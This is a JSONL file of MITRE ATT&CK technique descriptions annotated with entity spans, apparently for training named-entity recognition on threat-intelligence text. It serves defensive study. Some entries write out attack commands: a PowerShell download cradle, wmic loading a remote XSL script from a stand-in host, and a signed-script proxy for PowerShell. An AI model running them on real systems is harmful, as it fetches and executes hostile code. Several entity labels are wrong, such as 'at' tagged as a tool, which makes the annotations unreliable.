{"text": "Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers.\n\nAdversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: WHOIS). Where third-party cloud providers are in use, this information may also be exposed through publicly available API endpoints, such as GetUserRealm and autodiscover in Office 365 environments. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases, Search Open Websites/Domains, or Phishing for Information), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Phishing).", "spans": {"SYSTEM: API": [[815, 818]], "SYSTEM: Office 365": [[871, 881]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1590.001"}}
{"text": "Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nSuch software may be deployed widely across the environment for configuration management or security reasons, such as Software Deployment Tools, and may allow adversaries broad access to infect devices or move laterally.\n\nAdversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to Exploitation for Privilege Escalation.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1518"}}
{"text": "An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, review findings of potential security risks, and run additional queries, such as finding public IP addresses and open ports.\n\nDepending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This also allows the adversary to gain information without manually making any API requests.", "spans": {"SYSTEM: GCP": [[210, 213]], "SYSTEM: API": [[529, 532], [613, 616]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1538"}}
{"text": "Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. \n\nTLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process’ memory space using other Process Injection techniques such as Process Hollowing.\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process.", "spans": {"SYSTEM: TLS": [[79, 82], [175, 178], [289, 292], [468, 471], [569, 572], [909, 912]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1055.005"}}
{"text": "Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.\n\nDebugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to Virtualization/Sandbox Evasion, if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.\n\nSpecific checks will vary based on the target and/or adversary. On Windows, this may involve Native API function calls such as <code>IsDebuggerPresent()</code> and <code> NtQueryInformationProcess()</code>, or manually checking the <code>BeingDebugged</code> flag of the Process Environment Block (PEB). On Linux, this may involve querying `/proc/self/status` for the `TracerPID` field, which indicates whether or not the process is being traced by dynamic analysis tools. Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would “swallow” or handle the potential error).\n\nMalware may also leverage Structured Exception Handling (SEH) to detect debuggers by throwing an exception and detecting whether the process is suspended. SEH handles both hardware and software expectations, providing control over the exceptions including support for debugging. If a debugger is present, the program’s control will be transferred to the debugger, and the execution of the code will be suspended. If the debugger is not present, control will be transferred to the SEH handler, which will automatically handle the exception and allow the program’s execution to continue.\n\nAdversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping Native API function calls such as <code>OutputDebugStringW()</code>.", "spans": {"SYSTEM: Windows": [[677, 684]], "SYSTEM: Native API": [[703, 713], [2199, 2209]], "SYSTEM: Linux": [[917, 922]], "FILEPATH: /proc/self/status`": [[951, 969]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1622"}}
{"text": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.\n\nFor example, if there is a Mach-O executable file called <code>evil.bin</code>, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to <code>evil.txt</code>, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to <code>evil.txt </code> (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed .\n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.", "spans": {"TOOL: at": [[674, 676]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1036.006"}}
{"text": "Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to \"Reopen windows when logging back in\". When selected, all applications currently open are added to a property list file named <code>com.apple.loginwindow.[UUID].plist</code> within the <code>~/Library/Preferences/ByHost</code> directory. Applications listed in this file are automatically reopened upon the user’s next logon.\n\nAdversaries can establish Persistence by adding a malicious application path to the <code>com.apple.loginwindow.[UUID].plist</code> file to execute payloads when a user logs in.", "spans": {"SYSTEM: macOS": [[133, 138]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1547.007"}}
{"text": "Adversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims. Search engines typically display results to users based on purchased ads as well as the site’s ranking/score/reputation calculated by their web crawlers and algorithms.\n\nTo help facilitate Drive-by Compromise, adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as Drive-by Target) within search engines. Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites. These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news).\n\nIn addition to internet search engines (such as Google), adversaries may also aim to manipulate specific in-site searches for developer platforms (such as GitHub) to deceive users towards Supply Chain Compromise lures. In-site searches will rank search results according to their own algorithms and metrics such as popularity which may be targeted and gamed by malicious actors.\n\nAdversaries may also purchase or plant incoming links to staged capabilities in order to boost the site’s calculated relevance and reputation.\n\nSEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.", "spans": {"ORGANIZATION: Google": [[896, 902]], "SYSTEM: GitHub": [[1003, 1009]], "SYSTEM: HTTP": [[1584, 1588]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1608.006"}}
{"text": "Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.\n\nWhen performing PtH, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.\n\nAdversaries may also use stolen password hashes to \"overpass the hash.\" Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform Pass the Ticket attacks.", "spans": {"SYSTEM: Access": [[532, 538]], "SYSTEM: Kerberos": [[898, 906]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1550.002"}}
{"text": "Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1052"}}
{"text": "Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer). \n\nOn Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, certutil, and PowerShell commands such as <code>IEX(New-Object Net.WebClient).downloadString()</code> and <code>Invoke-WebRequest</code>. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.  A number of these tools, such as `wget`, `curl`, and `scp`, also exist on ESXi. After downloading a file, a threat actor may attempt to verify its integrity by checking its hash value (e.g., via `certutil -hashfile`).\n\nAdversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows `search-ms` protocol handler, to deliver malicious files to victims through remote file searches invoked by User Execution (typically after interacting with Phishing lures).\n\nFiles can also be transferred using various Web Services as well as native or otherwise present tools on the victim system. In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.", "spans": {"MALWARE: ftp": [[277, 280]], "SYSTEM: Windows": [[430, 437], [1203, 1210]], "TOOL: certutil": [[522, 530], [990, 998]], "TOOL: PowerShell": [[536, 546]], "TOOL: Net": [[585, 588]], "SYSTEM: Linux": [[663, 668]], "SYSTEM: macOS": [[673, 678]], "TOOL: curl": [[732, 736], [836, 840]], "TOOL: scp": [[740, 743], [848, 851]], "TOOL: wget": [[786, 790], [828, 832]], "SYSTEM: Dropbox": [[1635, 1642]], "SYSTEM: OneDrive": [[1646, 1654]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1105"}}
{"text": "Adversaries may abuse SyncAppvPublishingServer.vbs to proxy execution of malicious PowerShell commands. SyncAppvPublishingServer.vbs is a Visual Basic script associated with how Windows virtualizes applications (Microsoft Application Virtualization, or App-V). For example, Windows may render Win32 applications to users as virtual applications, allowing users to launch and interact with them as if they were installed locally.\n    \nThe SyncAppvPublishingServer.vbs script is legitimate, may be signed by Microsoft, and is commonly executed from `\\System32` through the command line via `wscript.exe`.\n\nAdversaries may abuse SyncAppvPublishingServer.vbs to bypass PowerShell execution restrictions and evade defensive counter measures by \"living off the land.\" Proxying execution may function as a trusted/signed alternative to directly invoking `powershell.exe`.\n\nFor example,  PowerShell commands may be invoked using:\n\n`SyncAppvPublishingServer.vbs \"n; {PowerShell}\"`", "spans": {"TOOL: PowerShell": [[83, 93], [665, 675], [880, 890], [958, 968]], "SYSTEM: Visual Basic": [[138, 150]], "SYSTEM: Windows": [[178, 185], [274, 281]], "ORGANIZATION: Microsoft": [[212, 221], [506, 515]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1216.002"}}
{"text": "Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account. \n\nFor example, the <code>Add-MailboxPermission</code> PowerShell cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox. In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings. \n\nAdversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user’s mail folders.\n\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add Additional Cloud Roles to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: Internal Spearphishing), so the messages evade spam/phishing detection mechanisms.", "spans": {"TOOL: PowerShell": [[177, 187]], "SYSTEM: Exchange": [[221, 229]], "SYSTEM: Office 365": [[261, 271], [546, 556]], "SYSTEM: Google Workspace": [[307, 323]], "ORGANIZATION: Google": [[359, 365]], "SYSTEM: Gmail": [[422, 427]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1098.002"}}
{"text": "Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with. Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to Code Signing, adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1588.003"}}
{"text": "Adversaries may abuse serverless computing, integration, and automation services to execute arbitrary code in cloud environments. Many cloud providers offer a variety of serverless resources, including compute engines, application integration services, and web servers. \n\nAdversaries may abuse these resources in various ways as a means of executing arbitrary commands. For example, adversaries may use serverless functions to execute malicious code, such as crypto-mining malware (i.e. Resource Hijacking). Adversaries may also create functions that enable further compromise of the cloud environment. For example, an adversary may use the `IAM:PassRole` permission in AWS or the `iam.serviceAccounts.actAs` permission in Google Cloud to add Additional Cloud Roles to a serverless cloud function, which may then be able to perform actions the original user cannot.\n\nServerless functions can also be invoked in response to cloud events (i.e. Event Triggered Execution), potentially enabling persistent execution over time. For example, in AWS environments, an adversary may create a Lambda function that automatically adds Additional Cloud Credentials to a user and a corresponding CloudWatch events rule that invokes that function whenever a new user is created. This is also possible in many cloud-based office application suites. For example, in Microsoft 365 environments, an adversary may create a Power Automate workflow that forwards all emails a user receives or creates anonymous sharing links whenever a user is granted access to a document in SharePoint. In Google Workspace environments, they may instead create an Apps Script that exfiltrates a user's data when they open a file.", "spans": {"SYSTEM: AWS": [[670, 673], [1039, 1042]], "SYSTEM: Google Cloud": [[723, 735]], "SYSTEM: Lambda": [[1083, 1089]], "SYSTEM: Microsoft 365": [[1349, 1362]], "SYSTEM: SharePoint": [[1554, 1564]], "SYSTEM: Google Workspace": [[1569, 1585]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1648"}}
{"text": "Adversaries can manipulate or abuse the Transparency, Consent, & Control (TCC) service or database to grant malicious executables elevated permissions. TCC is a Privacy & Security macOS control mechanism used to determine if the running process has permission to access the data or services protected by TCC, such as screen sharing, camera, microphone, or Full Disk Access (FDA).\n\nWhen an application requests to access data or a service protected by TCC, the TCC daemon (`tccd`) checks the TCC database, located at `/Library/Application Support/com.apple.TCC/TCC.db` (and `~/` equivalent), and an overwrites file (if connected to an MDM) for existing permissions. If permissions do not exist, then the user is prompted to grant permission. Once permissions are granted, the database stores the application's permissions and will not prompt the user again unless reset. For example, when a web browser requests permissions to the user's webcam, once granted the web browser may not explicitly prompt the user again.\n\nAdversaries may access restricted data or services protected by TCC through abusing applications previously granted permissions through Process Injection or executing a malicious binary using another application. For example, adversaries can use Finder, a macOS native app with FDA permissions, to execute a malicious AppleScript. When executing under the Finder App, the malicious AppleScript inherits access to all files on the system without requiring a user prompt. When System Integrity Protection (SIP) is disabled, TCC protections are also disabled. For a system without SIP enabled, adversaries can manipulate the TCC database to add permissions to their malicious executable through loading an adversary controlled TCC database using environment variables and Launchctl.", "spans": {"SYSTEM: macOS": [[180, 185], [1273, 1278]], "SYSTEM: Access": [[366, 372]], "TOOL: at": [[513, 515]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1548.006"}}
{"text": "Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values. Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: <code>malloc</code>) then invoking that memory with <code>PTRACE_SETREGS</code> to set the register containing the next instruction to execute. Ptrace system call injection can also be done with <code>PTRACE_POKETEXT</code>/<code>PTRACE_POKEDATA</code>, which copy data to a specific address in the target processes’ memory (ex: the current address of the next instruction).  \n\nPtrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges. \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1055.008"}}
{"text": "Adversaries may impair a system's ability to hibernate, reboot, or shut down in order to extend access to infected machines. When a computer enters a dormant state, some or all software and hardware may cease to operate which can disrupt malicious activity.\n\nAdversaries may abuse system utilities and configuration settings to maintain access by preventing machines from entering a state, such as standby, that can terminate malicious activity.\n\nFor example, `powercfg` controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down. Adversaries may also extend system lock screen timeout settings. Other relevant settings, such as disk and hibernate timeout, can be similarly abused to keep the infected machine running even if no user is active.\n\nAware that some malware cannot survive system reboots, adversaries may entirely delete files used to invoke system shut down or reboot.", "spans": {"SYSTEM: Windows": [[524, 531]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1653"}}
{"text": "Adversaries may obfuscate then dynamically resolve API functions called by their malware in order to conceal malicious functionalities and impair defensive analysis. Malware commonly uses various Native API functions provided by the OS to perform various tasks such as those involving processes, files, and other system artifacts.\n\nAPI functions called by malware may leave static artifacts such as strings in payload files. Defensive analysts may also uncover which functions a binary file may execute via an import address table (IAT) or other structures that help dynamically link calling code to the shared modules that provide functions.\n\nTo avoid static or other defensive analysis, adversaries may use dynamic API resolution to conceal malware characteristics and functionalities. Similar to Software Packing, dynamic API resolution may change file signatures and obfuscate malicious API function calls until they are resolved and invoked during runtime.\n\nVarious methods may be used to obfuscate malware calls to API functions. For example, hashes of function names are commonly stored in malware in lieu of literal strings. Malware can use these hashes (or other identifiers) to manually reproduce the linking and loading process using functions such as `GetProcAddress()` and `LoadLibrary()`. These hashes/identifiers can also be further obfuscated using encryption or other string manipulation tricks (requiring various forms of Deobfuscate/Decode Files or Information during execution).", "spans": {"SYSTEM: API": [[51, 54], [332, 335], [717, 720], [825, 828], [891, 894], [1021, 1024]], "SYSTEM: Native API": [[196, 206]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1027.007"}}
{"text": "Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.\n\nRemote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). \n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features or Terminal Services DLL for Persistence.", "spans": {"TOOL: Remote Desktop Protocol": [[68, 91], [384, 407]], "TOOL: RDP": [[93, 96], [409, 412], [498, 501], [695, 698], [725, 728]], "ORGANIZATION: Microsoft": [[338, 347]], "SYSTEM: Access": [[642, 648]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1021.001"}}
{"text": "Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system. This is done via adding a path to a script to the <code>HKCU\\Environment\\UserInitMprLogonScript</code> Registry key.\n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.", "spans": {"SYSTEM: Windows": [[20, 27], [115, 122]], "TOOL: at": [[65, 67]], "SYSTEM: Registry": [[319, 327]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1037.001"}}
{"text": "Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\n\nList-view controls are user interface windows used to display collections of items. Information about an application's list-view settings are stored within the process' memory in a <code>SysListView32</code> control.\n\nListPlanting (a form of message-passing \"shatter attack\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items. Adversaries must first copy code into the target process’ memory space, which can be performed various ways including by directly obtaining a handle to the <code>SysListView32</code> child of the victim process window (via Windows API calls such as <code>FindWindow</code> and/or <code>EnumWindows</code>) or other Process Injection methods.\n\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored <code>WriteProcessMemory</code> function. For example, an adversary can use the <code>PostMessage</code> and/or <code>SendMessage</code> API functions to send <code>LVM_SETITEMPOSITION</code> and <code>LVM_GETITEMPOSITION</code> messages, effectively copying a payload 2 bytes at a time to the allocated memory. \n\nFinally, the payload is triggered by sending the <code>LVM_SORTITEMS</code> message to the <code>SysListView32</code> child of the process window, with the payload within the newly allocated buffer passed and executed as the <code>ListView_SortItems</code> callback.", "spans": {"SYSTEM: Windows": [[1089, 1096]], "SYSTEM: API": [[1097, 1100], [1511, 1514]], "TOOL: at": [[1651, 1653]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1055.015"}}
{"text": "Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished by identifying and filtering traffic from defensive tools, masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers, and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely.\n\nC2 networks may include the use of Proxy or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. For example, an adversary may use a virtual private cloud to spoof their IP address to closer align with a victim's IP address ranges. This may also bypass security measures relying on geolocation of the source IP address.\n\nAdversaries may also attempt to filter network traffic in order to evade defensive tools in numerous ways, including blocking/redirecting common incident responder or security appliance user agents. Filtering traffic based on IP and geo-fencing may also avoid automated sandboxing or researcher activity (i.e., Virtualization/Sandbox Evasion).\n\nHiding C2 infrastructure may also be supported by Resource Development activities such as Acquire Infrastructure and Compromise Infrastructure. For example, using widely trusted hosting services or domains such as prominent URL shortening providers or marketing services for C2 networks may enable adversaries to present benign content that later redirects victims to malicious web pages or infrastructure once specific conditions are met.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1665"}}
{"text": "Adversaries may modify the configuration settings of a domain or identity tenant to evade defenses and/or escalate privileges in centrally managed environments. Such services provide a centralized means of managing identity resources such as devices and accounts, and often include configuration settings that may apply between domains or tenants such as trust relationships, identity syncing, or identity federation.\n\nModifications to domain or tenant settings may include altering domain Group Policy Objects (GPOs) in Microsoft Active Directory (AD) or changing trust settings for domains, including federation trusts relationships between domains or tenants.\n\nWith sufficient permissions, adversaries can modify domain or tenant policy settings. Since configuration settings for these services apply to a large number of identity resources, there are a great number of potential attacks malicious outcomes that can stem from this abuse. Examples of such abuse include:  \n\n* modifying GPOs to push a malicious Scheduled Task to computers throughout the domain environment\n* modifying domain trusts to include an adversary-controlled domain, allowing adversaries to  forge access tokens that will subsequently be accepted by victim domain resources\n* changing configuration settings within the AD environment to implement a Rogue Domain Controller.\n* adding new, adversary-controlled federated identity providers to identity tenants, allowing adversaries to authenticate as any user managed by the victim tenant \n\nAdversaries may temporarily modify domain or tenant policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.", "spans": {"SYSTEM: Group Policy": [[490, 502]], "ORGANIZATION: Microsoft": [[521, 530]], "SYSTEM: Active Directory": [[531, 547]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1484"}}
{"text": "Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. \n\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to Trusted Developer Utilities Proxy Execution, the Microsoft common line transformation utility binary (msxsl.exe)  can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files.  Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files.  Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.\n\nCommand-line examples:\n\n* <code>msxsl.exe customers[.]xml script[.]xsl</code>\n* <code>msxsl.exe script[.]xsl script[.]xsl</code>\n* <code>msxsl.exe script[.]jpeg script[.]jpeg</code>\n\nAnother variation of this technique, dubbed “Squiblytwo”, involves using Windows Management Instrumentation to invoke JScript or VBScript within an XSL file. This technique can also execute local/remote scripts and, similar to its Regsvr32/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in Windows Management Instrumentation provided they utilize the /FORMAT switch.\n\nCommand-line examples:\n\n* Local File: <code>wmic process list /FORMAT:evil[.]xsl</code>\n* Remote File: <code>wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”</code>", "spans": {"ORGANIZATION: Microsoft": [[529, 538]], "SYSTEM: JavaScript": [[641, 651]], "SYSTEM: Windows Management Instrumentation": [[1333, 1367], [1606, 1640]], "SYSTEM: JScript": [[1378, 1385]], "SYSTEM: VBScript": [[1389, 1397]], "TOOL: Regsvr32": [[1491, 1499]], "SYSTEM: Windows": [[1557, 1564]], "TOOL: wmic": [[1728, 1732], [1793, 1797]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1220"}}
{"text": "Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.\n\nAdversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Exploit Public-Facing Application).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1596.005"}}
{"text": "Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls –a</code> for Linux and macOS).\n\nOn Linux and Mac, users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name   . Files and folders that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable.\n\nFiles on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app . On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.\n\nAdditionally, adversaries may name files in a manner that would allow the file to be hidden such as naming a file only a “space” character.\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.", "spans": {"SYSTEM: Windows": [[516, 523], [1102, 1109]], "SYSTEM: Linux": [[551, 556], [573, 578]], "SYSTEM: macOS": [[561, 566], [948, 953]], "SYSTEM: SSH": [[1325, 1328]], "TOOL: ssh": [[1349, 1352]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1564.001"}}
{"text": "An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in Revert Cloud Instance where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.\n\nAn adversary may Create Cloud Instance, mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.", "spans": {"TOOL: mount": [[559, 564]], "SYSTEM: SSH": [[759, 762]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1578.001"}}
{"text": "Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.\n\nAdversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: Search Victim-Owned Websites or Social Media). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Phishing or Hardware Additions).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1591.001"}}
